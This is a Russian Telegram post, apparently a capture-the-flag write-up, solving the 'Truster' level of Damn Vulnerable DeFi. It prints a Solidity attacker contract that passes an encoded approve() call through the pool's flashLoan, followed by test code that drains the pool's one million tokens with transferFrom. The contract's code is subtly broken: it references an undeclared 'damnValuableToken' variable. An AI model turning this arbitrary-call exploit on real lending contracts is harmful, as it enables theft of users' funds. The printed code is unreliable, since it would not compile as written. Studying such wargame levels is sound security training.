TGViewer
Из Solidity в AI и дальше Из Solidity в AI и дальше @solidityset · 2.47K subscribers
Post #442 177
Damn Vulnerable Defi. Задача 3. Truster

В чем суть?

Есть контракт с балансом 1 млн токенов DVT. Нам нужно захватить их все.

В этой задаче нужно обратить внимание на количество аргументов, которые принимает функция, а также что позже она просто вызывает функцию в токене ( target.functionCall(data)), в надежде, что она будет обрабатывать возврат денег. Этим мы и воспользуемся.

Для начала напишем простой контракт:

contract AttackerPool {
    IERC20 public immutable dvd;
    TrusterLenderPool private immutable pool;

    constructor (address tokenAddress, address poolAddress) {
        dvd = IERC20(tokenAddress);
        pool = TrusterLenderPool(poolAddress);
    }

    function attack( address attacker) public {
        uint256 poolBalance = dvd.balanceOf(address(pool));
        pool.flashLoan(0, address(this), address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", attacker, poolBalance));
    }
    receive () external payable {}
}

И четвертым аргументом передадим функцию approve(), которая одобрит адрес хакера на перевод всех токенов.

После чего пишем свое решение в тестах:

const AttackerContractFactory = await ethers.getContractFactory('AttackerPool', deployer);
const attackerContract = await AttackerContractFactory.deploy(this.token.address, this.pool.address);
await attackerContract.connect(attacker).attack(attacker.address);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);

Делаем деплой контракта, подключаемся от адреса хакера, вызываем функцию атаки, а потом просто перебрасываем токены к себе на баланс.

Делаем проверку yarn run truster и гордимся результатом.

#dvd #DamnVulnerableDefi
  • 👍 1
More from @solidityset
  1. Oct 8, 2026Промо видео для SaaS и других ваших проектов Хочу поделить с вами одним из своих открытий…
  2. Oct 8, 2026video post
  3. Oct 2, 2026Вторая сложность — как доказать, что установилось именно опубликованное. В первом варианте…
  4. Oct 2, 2026Задача с полуоткрытым кодом На днях, в процессе создания одного приложения, столкнулся с и…
  5. Sep 22, 2026Какой язык программирования учить сейчас? На днях в Твиттере увидел небольшой пост о разви…
  6. Sep 18, 2026Интересная модель Jev Буквально пару дней назад в Твиттере многие начали обсуждение новой…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →